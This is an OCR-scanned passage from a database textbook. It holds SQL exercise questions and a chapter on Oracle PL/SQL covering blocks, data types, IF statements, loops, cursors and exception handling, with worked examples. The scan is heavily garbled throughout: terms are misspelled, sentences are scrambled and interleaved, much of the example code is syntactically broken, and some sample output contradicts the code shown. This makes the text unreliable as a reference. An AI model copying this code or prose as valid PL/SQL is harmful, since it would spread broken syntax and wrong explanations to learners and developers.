Q6 In joining tables are you limited to one-column joins, or can you
join on more than one column ?
Q.7 In the section on joining tables to themselves, the last example
retumed two combinations. Rewrite the query so only one entry
comes up for each redundant part number.
a.8 Rewite the following query to make it more readable and
shorter.
INPUT
select orders.orderedon, orders.name, part.partnum,
part.price, part.description from orders, part
where orders.partnum = part.partnum and orders.orderedon

between 1-S P-96' and 30-SEP-96


order by part.partnumn;
a9 From the PART table and the ORDERS table, make up a query
that will return the following:
OUTPUT
ORDEREDON NAME PARTNUM QUANTITTY

2-SEP-96 TRUE WHEEL 10


Q.10 What is the advantages of procedures.
a.11 How to create a procedure ? Explain.
a.12 Give Syntax of :
(a) Deleting a procedure
(b) Executing a procedure
(c) Creating a procedure.
. 1 3 Which function capitalizes the first letter of a character string and

makes the rest lowercase?


Q.14 Which functions are also known by the name group functions
Q.15 Will this
query work ?

Query Multiple Tables 117


SQL SELECT COUNT(LASTNAME) FROM CHARACTERS
a.16 How about this one ?
SQL SELECT SUM(LASTNAME) FROM CHARACTERS
Q.17 Assuming that they are separate columns, which functions
LASTNAME?
would splice together FIRSTNAME and SELECT?
a.18 What does theanswer 6 mean from the following
INPUT
SQL SELECT COUNT(") FROM TEAMSTATS;
OUTPUT:
COUNT()
Q.19 Will the following statement work ?
FROM NAME_TBL;
sQL> SELECT SUBSTR LASTNAME,1,5
write a query to determine
.,20 Using today's TEAMSTATS table,
reader,
who is batting under .25. (For the baseball-challenged
batting average is hits/ab.)
0,21 Using today's CHARACTERS table, write a query that will retum
the following:
INITIALS CODE
32
KA.P
1 row selected
Chapter 4
PLISQL
4.0 Objectives
4.1 Introduction to PLI SQL
4.2 Architecture of PLI SQL
4.3 Fundamentals of PLI SQL
4.3.1 PLISQL Data
type
4.3.2 If Statement
4.4 Loops in PL/SQL
4.4.1 Simple Loop
4.4.2 For Loop
4.4.3 While Loop
4.5 Solved Examples
4.6 Built-in-Functions
4.6.1 Conditional Control
4.6.2 Iterative Control
4.6.3 Sequential Control
4.7 Cursor Management in PLI SQL
4.8 Exception (Error) Handling
4.8.1 Predefined Exception
4.8.2 User Defined Function
4.9 Summary
4.10 Check Your
Progress-Answers
4.11 Questions for Self
Study
-

4.0 OBJECTIVES
After reading this
chapter you will able to
describe PVSQL
state Loops in PUSQL
Buit in Function
describe Cursor Management
describe Exception

PLISQLI121
4.1 INTRODUCTION TO PL/SQL
PLUSQL stands for Procedural Language/sQL. PL/SO
extends SQL by adding constructs found in procedural languaoa
"is more powerful than
resulting in a structural language that
SQL.PUSQL is not case sensitive. "C' style comments (/ .. ..

whenever required.
may be used in PL/sQL programs
of blocks, each block performs
All PLUSQL programs are made up
consists of three parte
a logical action in the program.
A PLUSQL block

1. Declaration section

2 Executable section
3. Exception handling section
required. The other sections are
executable section is
Only the
optional.
structure:
APLISQL block has the following
DECLARE

Dedaration section
BEGIN
Executable section "

EXCEPTION
FException handling section
END:
1. Declaration section the
with word Declare. All
This is first section which is start
betoe
declared in this section
identifiers (constants and variables) are
they are used in SELECT command.

2. Executable section is tn:


and SQL statements. This
This section contain procedural with

This section starts wi


only section of the block which is required.
Begin' word. are

statements allowed in a PL/SQL programa


The only SQL several ote
DELETE and
SELECT, INSERT, UPDATE,
data manipulation statements. TER

like CREATE,
DROP or ALIE
Data definition statements

are not allowed. Such a s

contains constructs. Su
The executable section also igger

procedure calls and


assignments, branches, loops,
Oracle/ 122
which are all discussed in detail in subsequent chapters
section
3. Exception handling
This section is used to handle errors that occurs during execution
program. ihis section starts with'exception' word
of PLUSOL
indicate end of PL/SQL block.
The End'
can be invoke either by typingit in
Oracle PL/SQL programs,
the code in a file and invoking the file. To execute
salplus or by putting
ituse / on SQL prompt or use'' and run.

4.2 ARCHITECUTRE OF PLUSQL

technology, not
The PUSQL compilation and run-time system is a

independent product. Think of this engine that


technology as an
an
blocks and subprograms. The engine
compiles and executes PL/SQL
can be installed in an
Oracle server or in an application development
or Oracle Reports. So, PLISQL can reside
tool such as Oracle Forms
in two environments
1. The Oracle server
2. Oracle tools.
independent. PL/SQL is bundled with
These two environments are
the Oracle but might be unavailable in some tools. In either
server
valid PLUSQL
environment, the PLISQL engine accepts as input any
block or subprogram. Fig. 3.1 shows the PL/SQL engine processing
an anonymous block. The engine executes procedural statements but.
sends SQL statements to the SQL Statement Executor in the Oracle

server.

PLISQL Engine
Procedural
PLISQL
P L U S Q L L P o c e d u

Statement
Block Block Executor
sOL

sQL Statement Executor

Oracle

Fig.3.1: PUSQL Englne

F PLISQL /123
4.3 FUNDAMENTALS OF PL/SQL
4.3.1 PLIsQL Data Types
PLISQL and Oracle have their foundations in SQL. Most PUSQu
data types are native to Oracle's data dictionary, there is a very easy

integration of PL/SQL Code with the Oracle Engine.


The default data types that we can declare in PL/SQL are number

(for storing numeric data), char (for storing character data), date (for

storing date and time data) boolean (for storing TRUE, FALSE or
NULL). number, char and date data types can have NULL values.
Here, we explain two data types,
1. Variable, 2. Constant.

1. Variables and types of declaration in PLISQL


The SELECT statement has a special form in PL/SQL in which a
single tuple is placed in variables. The infomation from the database
is transferred into variables which is used in PL/SQL programs. Every
variable has a specific type associated with it.
That type can be
1. A generic type used in PL/SQL
2. A type same as used by SQL for database columns.
The most commonly used generic type is NUMBER. Variables of
type NUMBER can hold either an integer or a real number.
For example
DECLARE
Salary Number
The most commonly used character string type is VARCHAR2(n),
where n is the maximum length of the string in bytes.
For example:
DECLARE
My_name VARCHAR2(20);
The variable can contain any data type that is valid for SQL and
Oracle (such as char, number, long, varchar2, & date) in addition to
these types PL/SQL allows
following types
Binary integer Range is -2,147,483,647 to 2,147,483,64/
Positive Range is 1 to
Natural: Range is 0 to
2,147,483,647.
2,147,483,647.
Boolean :Assigned values
either True, False or NULL.
%type Assign the same type to variable as that o
Oracle/124
relation column declared in database.
If there is any type mismatch, variable assignments and
comparisons may not work the way you expect, so instead of
hard coding the type of a variable, you should use the
%TYPE operator.
Forexample:
DECLARE

My_name emp.ename%TYPE;
gives PL/SQL variable my_name whatever type was declared
for the ename column in emp table.
%rowtype:A variable can be declared with %rowtype that is
equivalent to a row of a table i.e. record with several fields.
The result is a record type in which the fields have the same
names and types as the attributes of the relation.

For example:
DECLARE
Emp_rec emp1%ROWTYPE;
This makes variable emp_rec be a record with fields name
and salary, assuming that the relation has the schema

emp1(name, salary).
The initial value of any variable, regardless of its type, is NULL.

2. Constants:
Declaration of a constant is similar to declaring a variable except
that the keyword constant must be added to the variable name and a
value assigned immediately. Thereafter, no further assignments to the
Constant are while the constant is within the constant is
possible,
within the scope of the PLUSQL block.
There are two types (i) Raw and (i) Rawid
Character
() Raw: Raw types are used to store binary data.
variables are automatically converted between character sets by
that
orace, if necessary. These are similar to char variables, except
to store fixed
Ey are not converted between character sets. It is used is 32,767
n Dinary data. The maximum length of a raw variable
column is Z00
es. However, the maximum length of a database raw

bytes.
WIll not
is similar to long data, except that PUSQL
Convraw
D e t w e e n character sets. The maximum length or a l o n y a

PL/SQL I125
maximum length of a long
raw colum
variable is 32,760 bytes. The
2 GB. the database ROm
same as
(ii) Rowid: This data types is the can be considered
hold a rowid, which
pseudo-column type. It can
database. Rowids are stor
for row in the
a unique key every whose actual fixed len
a fixed length binary quantity,
internally as system.
varies depending on the operating extract informate
functions are used to
Various DBMS ROWID Extented tar
and Restricted are
about the ROWID pseudo-column. to be backward compatitie
used mostly
rowid formats. Restricted is
Oracle. The Extended format take
with previous versions of
features.
advantage of new Oracle
The DBMS_ROWID package has several
procedures and
The Table 7.1 shows the
functions to interpret the ROWIDs of records.
DBMS ROWID functions
Table 4.1: Functions of DBMS ROWID
DESCRIPTION
FUNCTION
ROWID_VERIFY Verifies if the ROWID can be
extended; 0 = can be converted to
extended format; 1 = cannot be
converted to extended format.
0 ROWID, 1 = Extended
ROWID_TYPE
ROWID_BLOCK_NUMBER The block number that contains
the record;
1 Extended ROWID
ROWID_OBJECT The object number of the object
that contains the record.
ROWID_RELATIVE_FNO The relative file number contains
the record.
ROWID_RoW_NUMBER The row number of the record.
ROWID_TO_ABSOLUTE_FNO The absolute file number; user
need to input rowid val, schema
and object; the absolute file
number is returned.
ROWID_To_EXTENDED Converts the ROWID from
Restricted to Extended; user nee
to input restr_rowid, schema.s
object; the extended number
returned.
ROWID_TO_RESTRICTED Converts the ROWID from
Extended to Restricted.

Oracle/ 126
ROWID is a pseudo-column that has a unique value associated with
Nach record of the database
The DBMS_ROMD package is created by the.
ORACLE HOME/RDBMS/ADMIN/DBMSUTIL.SQL script.
This script is automatically run when the Oracle instance is
created.
Operator Precedence
If we combine AND and OR in the same expression, the AND
operator takes precedence over the OR operator (which means if's
executed first). The comparison operators take precedence over AND.
We can override these using parentheses.

PL SQL Expressions
Expressions are a composite of operators and operands. In the case
of a mathematical expression the operand is the number and operator
is the symbol such as +or that acts on the operand. The expression
value is the evaluated total of the operands using the operators.
Operators are divided into categories that describe thee way that act
upon operands.
-Comparison operators are binary, meaning they work with two
operands. Examples of comparison operators are the greater than (>)
,less than(<) and equal(=) signs ,among others.
Logical operators include AND,OR and NOT
Arithmetic operators include
addition/positive(+).subtraction/negative(-).multiplication("), and
division(/).
-The assignment operator is specific to PLUSQL and is written as
colon-equal (=)
-The lone character operator is a double pipe(lI) that joins two strings
together, concatenating the operands.
Other basic SQL operators indude IS NULL, IN and BETWEEN.
4.3.2 If statement in PL/SQL
PUSQL allows decision making using if statement.
An IF statement in PLsQL looks like
IF <condition> THEN

<statement_list>
END IF:
f condition is true the statements present inside IF will get
executed
If... Else construct
IF <condition> THEN

ELSE
statement_list>

PLISQL /127
sstatement_list>
END IF:
For example:
1. Accept two numbers and print the largest number

DECLARE
x number;
y number;
BEGIN
x:=&x;
y =&y:
if (xoy) then
than y);
dbms output.put _line('x is largest
else
dbmsoutput.put_line(y is largest
than x);
end if
End;

SQL>
Enter value for x:7
old 5:x:= &x;
new5: x:=7;
Enter value for y: 88
old 6:y =&y
new 6: y:=8
Addition is 15
PL/SQL procedure completed
y is largest than x
PL/SQL procedure successfully completed.
2. Check whether the salary of 'BLAKE' is grater than 5000 or
not.
DECLARE
B_salary emp.sal%type;
BEGIN
Select sal into B_salary
From emp
Where ename='BLAKE';
If (B_salary> 5000) then
dbms output.put_line('Blake salary is largest than 5000)
else
dbms output.put_line( Blake salary is less than 5000):
Oracle/ 128
end if
End
SQL>
Blake salary is less than 5000
PUSQL procedure successfully completed.
Ifwith a Multiway Branch
IF <condition_1> THEN
ELSEIF <condition_2> THEN
<statement_list>
ELSEIF <condition_n> THEN
<statement_list>
ELSE
<statement_list>
END IF:

4.1,4.2,4.3 Check Your Progress


Fill in the blanks
1) Section is used for declaration of variables.
2) SQL statements are written in section.

4.4 LOOPS IN PUSQL

There are three types of loops in PL/SQL


1. Simple loop
2 For..loop
3 While loop.
44.1 Simple Loop
Syntax 1
LOOP
commands> /* A list of statements.
if <codition> then

EXIT
End if,
END LOOP:
The loop breaks if <condition> is true.

PL/SQL /129
For example:
DECLARE
i NUMBER 0 ;
BEGIN
LOOP
i:=i+1;
dbms_output.put_line)
If( i=10) then
EXIT;
End if;
END LOOP:
END:

SQL>
1

9
10
PL/SQL procedure successfully completed.
Syntax 2
LOOP
<commands>*A list of statements.
EXIT WHEN <condition>;
END LOOP
For example
DECLARE
iNUMBER := 0;
BEGIN
LOOP
i:=j+1;
dbms_output.put_linei);
EXIT when i>=10;
END LOOP:
END;

SQL
Oracle/130
2
3

7
8
9
10
PUSQL procedure successfully completed.
The loop breaks when <condition> is true.

4.4.2 For...loop
Syntax:
FOR <varo IN[reverse] <start>. .<finish> LOOP
<commands> " A list of statements. /
END LOOP:
Here, svar can be any variable; it is local to the for-loop and
need not be declared. Also, <start> and <finish> are
constants. The
value of a variable <var> is
automatically
incremented by
1.
The commands inside the loops are automatically executed until
the final value of variable is reached. Reverse is optional part, when
you want to go from maximum value to minimum value in that
case
reverse is used.
For example
BEGIN
For i in 1. .10 LOOP

dbms_output.put_line(i);
END LOOP;
END:
SOL

PL/SQL/131
9
10
PL/SQL procedure successfully completed.
4.4.3 While loop
Syntax
WHILE <condition> LOOP
<commands> /" A list of statements. /
END LOOP;
This loop executes the commands if the condition is true.
For example:
DECLARE
i NUMBER:=0;
BEGIN
While ic=10 LOOP
ii+1;
dbms_output.put_line0)
END LOOP
END;

SQL>
1
2
3

5
6
7
8
9
10
PL/SQL procedure successfully completed.

4.5 SOLVED EXAMPLES


4.5.1 Simple PL/SQL
1. Accept two numbers and print the largest number.
DECLARE
n1 number;
n2 number;
BEGIN

Oracle 132
n1: &n1:
n2: &n2:
if(n1<n2) then
dbmsoutput.put_line(n1 |l' is largest):
else if (n1<n2) then
dbms_output.put_line(n2 Ir'is largest):
else
dbms_output.put_line('Both are equal);
end if;
end if;
End;
Output
SQL>
Enter value for n1: 23
old 5: n 1:-&n 1;
new 5: n 1:-23;
Enter value for n2: 12
old 6: n2:-&n2;
new 6: n2: 12;
23 is largest
SQL
Enter value for n1: 11
old 5: n 1:=&n 1;
new 5: n1:=11;
Enter value for n2: 11
old 6: n2:=&n2;
new 6: n2:=11;
Both are equal
2. Accept a number and check whether it is odd or even.
If it is even no. print square of it otherwise cube of it.
DECLARE
n1 number
BEGIN n1:=&n1;
if(mod(n1,2)=0) then
dbms_output.put_line(n1 |l' is even no);
dbms _output.put_line('Square of l| n1 ||'is'| n1'n1);
else

dbmsoutput.put_line(n1 at |l'is odd no')


bms output.put_line(Cube of '||n 1||'is '||n1 'n1 "n1),
end if;
End

PLISQL/133
Output
SQL>
Enter value for n1: 2
old 4: n1:=&n1;
new 4: n1:-2;
2 is even no.
Square of 2 is 4
SQL>
Enter value for n1: 3
old 4: n1:-&n1;
new4: n1:3;
3 is odd no.
Cube of 3 is 27
4.5.2 PL/SQL Block using Table
1. Accept the deptno and print the no. of employees working in
that department.
DECLARE
v_deptno emp.deptno%type;
V_count number
BEGIN
_deptno:=&v_deptno;
select count(") into v_count
from emp
where deptno=v_deptno;
dbmsoutput.put_line(No. of emp working in l v_deptno
are' ll count);
End

Output
SQL>
Enter value for v_deptno: 20
old 5: v_deptno:=&v_deptno;
new 5: v_deptno:=20;
No. of emp working in 20 are 2

2. Accept the deptno and print the department name an


location.
DECLARE

Oracle/134
_deptno dept.deptno%type;
v_dname dept.dname%type;
v_loc dept.loc%type
BEGIN
v_deptno:=&v_deptno
select dname,loc into v_dname,v_loc
from dept
where deptno=v_deptno;
dbms _output.put_line(Department name is 'l V_dname|l'and
locationis llv_loc);
End;

Output
SQL>
Enter value for v_deptno: 10
old 6: v_deptno:=&v_deptno;
new (6: v_deptno:= 10;
Department name i_ AccOUNTING and location is NEW YORK

4.6 BUILT-IN-FUNCTIONS

The control statements can be classified into the following


categories:
Conditional Control
Iterative Control
Sequential Control
We study here Conditional and Iterative control.
4.6.1 Conditional Control
PUSQL allows the use of an IF statement to control the execution
ofa block of code. In PL/SQL, the IF -THEN ELSIF- ELSE END
F construct in code blocks allow specifying certain conditions under
which a specific block of code should be executed.
Syntax
IF <Condition> THEN

<Action
ELSEIF <Condition> THEN
<Action
ELSE

PLISQL /135
Action
ENDIF
For example
Write a PL/SQL code block that will accept an account umtor
from the user, check if the users balanco is less than the riinimur
balance, only then deduct Rs. 100/- from the balance. The process i
fired on the ACCT_MSTR tablo.
DECLARE
Declaration of memory variables and constants to be used i
Execution section /
mCUR_BAL number (11, 2);
mACCT NO varchar2(7):
mFINE number(4) 100;
mMIN_BAL constant number(7, 2):= 5000.00;
BEGIN
Accept the Account number from the user "/
mACCT_NO: &mACCT_NO;
PRetrieving the current balance from the ACCT_MSTR table where
the ACCT_NO in the table is equal to the mACCT_NO entered by the
user

SELECT CURBAL INTO mCUR_BAL FROM


WHERE ACCT_NO=mACCT_N0;
ACCT_MSTR
Checking if the resultant balance is less than the minimum
balance of Rs. 5000. If the condition is satisfied an
amount of s. 100
is deducted as a fine from the current
balance of the corresponding
ACCT_NO
IF mCUR_BAL <mMIN_BAL THEN
UPDATEACCT_MSTR SET CURBAL CURBAL_mFINE =

WHERE ACCT_NO
mACCT_NO; =

END IF;
END;
Output
Enter value for mACCT_NO: 'SB9
Old 11:mACCT_NO: &mACCT_NO;
new 11 mACCT NO:= SB9':

Oracle 136
4.6.2 Iterative Control
Iterative control indicates the ability to repeat or skip sections of a
code block. A loop marks a sequence of statements that has to be
repeated. The keyword loop has to be placed before the first
statement in the sequence of statements to be repeated, while the
keyword end loop is placed immediately after the last statement in the
sequence. Once a loop begins to execute, it will go on forever.
Hence, a conditional statement that controls the number of times a
loop is executed always accompanies loops.
PUSQL supports the following structures for iterative control
Simple Loop:
In simple loop, the key word loop should be placed before the first
statement in the sequence and the keyword end loop should be
written at the end of the sequence to end the loop.
Syntax
Loop
<Sequence of statements>
End loop
For example:
Create a simple loop such that a message is displayed when a
loop exceeds a particular value.
DECLARE
i number:= 0;
BEGIN
LOOP
izi+2;
EXITWHENI> 10;
END LOOP:
dbms_output.put_line(Loop exited as the value of i has reached ||
to_char(i))
END;
Output
Loop edted as the value of i has reached 12
PLUSQL procedure successfully completed.
The WHILE Loop
Syntax
WHILE <Condition

PL/SQL /137
LOOP

<Action
END LOOP:
Forexample:
Write a PL/SQL code block to calculate the area of a circle for a
value of radius varying from 3 to 7. Store the radius and the
corresponding values of calculated area in an empty table named
Area.
Areas, consisting of two columns Radius and
Table Name : Areas
RADIUS AREA

Create the table AREAS as


CREATE TABLE AREAS (RADIUS NUMBER (5),. AREA
NUMBER(14,2));
DECLARE
Declaration of memory variables and constants to be used in
the Execution section /
pi constant number(4, 2) := 3.14;

radius number(5);
area number(14, 2):
BEGIN
Initialize the radius to 3, since calculations are required for radius
3 to 7
radius: 3 ;
Set a loop so that itfires till the radius value reaches 7
WHILE RADIUS <= 7

LOOP
Area calculation for a cirde
area = pi power(radius, 2):
area
Insert the value for the radius and its corresponding
calculated in the table
INSERT INTO areas VALUES (radius, area)
Increment the value ofthe variable radius by 1
radius radius+ 1:
END LOOP:
END
Oracle/ 138
radius to hold
above PL/SQL code block initializes a variable
The
for the radius
value of 3. The area calculations are required
the with radius 3
and 7. The value for area is calculated first
between 3
Areas. Now, the
radius and area are inserted into the table
and the
the value of radius is incremented by 1, i.e. it now
ariable holding the
4. Since the code is held within a loop structure,
holds the value time the
to fire till the radius value reaches 7. Each
code continues
table.
value of radius and area is inserted into the areas
After the loop is completed the table will now hold the following
Radius Area
3 28.26
50.24

5 78.5

6 113.04

7 153.86

The FOR Loop


Syntax
start.end
FOR variable IN [REVERSE]
LOOP

<Action>
END LOOP;

For example a number 5639 to


for inverting
Wite a PLUSQL block of code

9365.
DECLARE
used in the
variables and constants to be
Declaration of memory
Execution section
= '5639;
given_number varchar(5)

str_length number(2)
inverted_number varchar(5);

BEGIN
nimber
strore the length of the giver

PLISQL/139

FIO
str_length:=length(given_number);
Initialize the loop such that it repeats for the number of timee
s

equal to the length of the given


number. Also, since the number S
required to be inverted, the loop should consider the last number first
and store it i.e. in reverse order /
FOR cntr IN REVERSE 1.str_length
Variables used as counter in the for loop need not be declared ie.
cntr declaration is not required
LOOP
The last digit of the number is obtained using the substr function
and stored in a variable, while retaining the previous digit stored in the
variable
inverted_number inverted_number || substr (given_number,
cntr, 1):
END LOOP;
Display the initial number, as well as the inverted number, which is
stored in the variable on screen
dbms_output.put_line (The Given number is "|l given_number);

dbms_output.put_line (The Inverted number is


inverted_number);
END
Output:
The Given number is 5639
The Inverted number is 9365
The above PUSQL code block stores the given number as well as
its length in two variables. The FOR loop is set to repeat till the length
of the number is reached and in reverse order, so the loop will fire 4
times beginning from the last digit i.e. 9. This digit is obtained using
the function SUBSTR and stored in a variable. The loop now te
again to fetch and store the second last digit of the given number.
is appended to the last digit stored previously. This repeats till ea
digit of the number is obtained and stored.

Oracle 140
Sequential Control
The GOTO Statement
The GOTO statement changes the flow of control within a PUSQL
plock. This statement allows execution of a section of code, which is
not in the normal flow of control. The entry point into such a block of
code is marked using the tags <<userdefined name>>, The GOTO
statement can then make use of this user-defined name to jump into
that block for execution.
Syntax:
GOTO <codeblock name>;

4.7 CURsOR MANAGEMENT IN PLISQL


Whenever, a SQL statement is issued the Database server opens
an area of memory is called Private SQL area in which the command
is processed and executed. An identifier for this area is called a
cursor
When PL/sQL block uses a select command that returns more
than one row, Oracle displays an error message and invokes the
TOO_MANY_ROWS exception. To resolve this problem, Oracle uses
a mechanism called ctrsor.
There are two types of cursors.
1. Implicit cursors
2. Explicit cursors
PL/SQL provides some attributes which allows to evaluate what
happened when the cursor was last used. You can use these
attributes in PL/SQL statements like functions but you cannot use
them within SQL statements.
The SQL cursor attributes are:
1. %ROWCOUNT The number of rows processed by a SQL
statement.
2. %FOUND TRUE if at least one row was processed.
3. %NOTFOUND: TRUE if no rows were processed.
%ISOPEN: TRUE if cursor is open or FALSE if cursor has not
been opened or has been closed. Only used with explicit
Cursors.
4.7.1 Implicit Cursors
When the executable part of a PUSQL block issues a SQL
mmand, PL/SQL reates an implicit cursor which has the identifier
SOL PUSQL internally manages this cursor.

PLISQL /141
Forexample
1. Print no. of rows deleted from emp.
DECLARE
ROWDEL_NO NUMBER
BEGIN
DELETE FROM EMP
ROW_DEL_NO = SQL%ROWCOUNT;
dbms_output.put_line(No. of rows deleted are
ROW_DEL_NO);
END;

SQL>
No. of rows deleted are 14
PL/SQL procedure successfully completed.
2. Accept empno and print its details(using cursor).
DECLARE
V_NO EMP.EMPNO%TYPE:=&V_NO;
VNAME EMP.ENAME%TYPE;
V_JOB EMP.JOB%TYPE;
V_SAL EMP.SAL%TYPE;

BEGIN
SELECT ename, job, sal INTO V_NAME,V_JOB,V_SAL
FROM emp
WHERE empno=V_NO;

IF SQL%FOUND THEN SQL%FOUND is true i


empno=v_no */
dbms_output.put_line(V_NAME| V_JOB|I" IIV_SAL):
Exception
when no_data_found then
dbms_output.put _line (Empno does not exists);
End;
SQL >
Enter value for v_no: 34
Old 2: V_no emp.empno%type:-&v_no;
New 2: v_no emp.empno%type:=34
Empno does not exists
PL/SQL reprocedure successfully completed

Oracle/ 142
sQL>

Enter value for v_no: 7369


SMIH CLERK 800
PUSQL procedure successfully completed.
4.7.2 Explicit Cursors
If SELECT statements in PL/SQL block return multiple rows then
as explicit
you have to explicitly create a cursor which is called
is called a result
cursor. The set of rows returned by a explicit cursor
set. The row that is being processed is called the current row. Oracle
uses four commands to handle Cursors. They are:
1. DECLARE Defines the name and structure of the cursor
together with the SELECT statement.
2. OPEN Executes the query and the number of rows to be
returned is determined.
3. FETCH: Loads the row addressed by the cursor pointer into
variables and moves the cursor pointer on to the next row
ready for the next fetch.
4. CLOSE : Releases the data within the cursor and closes it.

4.7.3 Declaring the Cursor


Cursors are defined within a DECLARE section of a PL/SQL block
with DECLARE command.
Syntax IS
Cursor cursor_name [(parameters)] [RETURN return_type]
SELECT query.
The cursor is defined by the CURSOR keyword followed by the
Cursor identifier (Cursor_name) and then the SELECT statement.
Parameter and return are optional part. When parameters are

passed to cursor it is called as parameterized cursor.

For example:
DECLARE
CURSOR c_deptno IS SELECT ename, sal, deptno
FROM EMP;

4.7.4 Opening a Cursor


Cursors are opened with the OPEN statement, this populates the
Cursor with data.
Syntax
OPEN Cursor_name[parameters]
For example
DECLARE

PL/SQL/143
CURSOR c_deptno 1S SELECT ename, sal, deptno
FROM EMP
Begin
Open c_deptno;
End;
Parameters is an optional part. It is used in parameterized cursor

4.7.5 Accessing the Cursor Rows


To access the rows of data within the cursor the FETCH
statement is used.
For example:
DECLARE
CURSOR c_deptno IS SELECT ename, sal, deptno
FROM EMP:
V_name emp.ename%type;
v_sal emp.sal%type;
_deptno emp.deptno%type;
Begin
Open c_deptno;
FETCH C_deptno INTO v_name,v_sal,v_deptno;
Dbms_output.put _line(v_name| lv_deptno| lv_sal);
End;
SQL
SMITH 800 20
The FETCH statement reads the column values for the curret
cursor row and puts them into the specified variables. This can b
an equivalent to the SELECT INTO command. The cursor pointer i3

updated to point at the next row. If the cursor has no more rows the
variables will be set to null on the first FETCH attempt, subseque
FETCH attempts will raise an exception.
To process all the rows within a cursor use a FETCH command
a loop and check the cursor NOTFOUND attribute to see it We

suc es ful y fetched a row or not as fol ows:

DECLARE

CURSOR c_deptno IS SELECT ename, sal, deptno


FROM EMP:
V_name emp.ename%type,
v-sal emp.sal%type;
Oracle/ 144
v_deptno emp.deptno%type;
Begin
Open c_deptno;
Loop
FETCH C_deptno INTOv_name,v_sal,v_deptno;
Exit when c_deptno%NOTFOUND;
dbms_output.put_line(v_name|| Ilv_deptno| "IlV_sal);
End loop;
End
4.7.6 Closing a Cursor
The CLOSE statement releases the cursor and any rows within it,
you can open the cursor again to refresh the data in it.
Syntax
CLOSE cursor_name;
For example,
Close c_deptno;
Close c_deptno;
End;
4.7.7 Using Cursor For.... Loop
In the
cursor FOR loop, the result of SELECT
query are used to
determine the number of times the loop is executed. In a
Cursor FOR
loop, the opening, fetching and closing of cursors is
implicitly. When you performed
use it, Oracle automatically declares a variable
with the same name as that is used as a counter in the FOR
command. Just precede the name of the selected field with the name
of this variable to access its contents.
For example:
DECLARE
CURSOR c_deptno IS SELECT ename,
FROM sal, deptno
EMP:
BEGIN
For in
x
c_deptno
Loop
dbms_output.put_line(x.ename |If ||x.deptno|
End loop; |lx.sal);
End
In above example a Cursor FOR loop is used,
there is no open

PL/SQL /145
command.
command.
The cursor and fetcha.
es
and fetch the c_deptno
implicitly opens
in c_deptno explicitly declared in tha
the
For x that x is not
variable. Note
value into
the x
a

block. the loop is exited and

records are in the cursor,


more c u r s o r %NOTFOUND
When no
is no need to check the
closed. There And also there is
cursor is
the cursor FOR loop.
automated via
attribute-that is
command.
need of close HANDLING
EXCEPTION (ERROR)
4.8
handle an error
block is used to
section in PL/SQL
The Exception If an error occurs
execution of PL/SQL program.
the
that occursduring EXCEPTION section of
control to the
PL/SQL passes
within a block or the
EXCEPTION section
exists within the block
the block. If no
that's occurred then
does not handle the error
EXCEPTION section
environment.
host
the is passed out to the
error
occurs (this
occurs
when either an Oracle
error
Exceptions occur raise an error or a
or you explicitly
automatically raises an exception) an error. Thus
executes corrective
action when detecting
routine that
raised during the
identifiers in PL/SQL that are
Exceptions are
terminate its action.
execution of a block to

There are two classes of exceptions, these are


1. Predefined exception: error
errors which are associated with specific
Oracle predefined
codes.
2. User-defined exception
and raised when specifically
requested
Declared by the user
exception with an
within a block. You can associate a user-defined
error code if you wish.

4.8.1 Predefined Exception


SELECI
The two most common errors originating from a
statement occur when it returns no rows (WHEN NO DATA FOUND
or more than one row (remember that this is not allowed
in PL/S
select command).
If no rows are selected from SELECT statement then WHE
than one
is used and for more
NODATA_FOUND exception
exception is used.
WHEN TOO_MANY_ROWS
The example below
deals with these two conditions

Oracle 146
DECLARE

TEMP_Sal NUMBER(10,2);
BEGIN

SELECT sal INTO TEMP_sal


From emp
WHERE empno>=7698;
IFTEMP_sal> 1000.THEN
UPDATE emp SET sal = (TEMP_sal1.175)

WHERE empno>=7698;
ELSE
UPDATE emp SET sal = 5000

WHERE empno>=7698;
END IF:
COMMIT;
EXCEPTION
WHEN NO_DATA_FOUND THEN
Dbms.Output.put_line('Empno does not exists);
WHEN TO0_MANY_ROWS THEN
Dbms.Output.put_line(No. of rows selected');
END

SQL>
No. of rows selected.
The block above will generate an error either there are
more than one record with an empno greater than
7698 or
record with empno>=7698.
emp table does not have a
The exception raised from this will be passed to the
EXCEPTION section where each handled action will be
checked. The statements within the TOO_MANY_ROWS
or

NO_DATA_FOUND will be executed before the block is


terminated.
But if some other erroroccurred this EXCEPTION section would
not defined as a checkable action. To
cover
not handle it because it is
WHEN OTHERS exception.
all possible errors other than this, use

Forexample:
DECLARE
TEMP_Sal NUMBER(10,2);

PLISQL /147
BEGIN
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;

IF TEMP_sal>1000 THEN
(TEMP_sal'1.175)
UPDATE emp SET sal
=

WHERE empno>=7698;
ELSE
UPDATE emp SET sal 5000

WHERE empno>=7698;
END IF;
cOMMIT:
EXCEPTION
WHEN NO_DATA_FOUND THEN
Dbms.Output.put_line('Empno does not exists');
WHEN TO0_MANY_ROWS THEN

Dbms.Output.put_Jine('No. of rows selected');


WHEN OTHERS THEN
Dbms.Output.put_line('SOME ERROR OCCURRED);
END:
This block will trap all errors. If the is not no rows
exception
returned many rows
or too returned then the OTHERS action will
perform the error handling.
PLISQL provides two special functions for use within an

EXCEPTION section, they are SQLCODE and SQLERRM. SQLCODE


is the Oracle error code of the exception, SQLERRM is the Oracle
error message of the exception. You can use these functions to detect
what error has occurred (very useful in an OTHERS action). This is

generally PL/sQL program in table so


used to store errors occurs in
sQLCODE and SQLERRM should be assigned to variables before
you attempt to use them.

For example:
DECLARE
TEMP_Sal NUMBER(10,2)
ERRMSG VARCHAR2(100)
ERR_CDE NUMBER;
BEGIN

Oracle / 148
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;
BEGIN
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;
IF TEMP_sal> 1000 THEN
UPDATE emp SET sal =
(TEMP_sal1.175)
WHERE empno>=7698
ELSE
UPDATE emp SET sal 5000
WHERE empno>=7698
END IF;
cOMMIT:
EXCEPTION
WHEN NO_DATA_FOUND THEN
INSERT INTO ERRORS (CODE, MESSAGE)
VALUES (99, NOT FOUND');
WHEN TO0_MANY_ROWS THEN
INSERT INTO ERRORS (CODE, MESSAGE)
VALUES (99, TOO MANY");
WHEN OTHERS THEN

ERR_CDE:=SQLCODE
ERR_MSG: SUBSTR(SQLERRM,1,100);
INSERT INTO ERRORS
(CODE MESSAGE)
VALUES(ERR_CDE, ERR_MSG);
END:
In this case ERRORS table contain fields code and
message.
According to error occurred in PL/SQL block, the values of code and
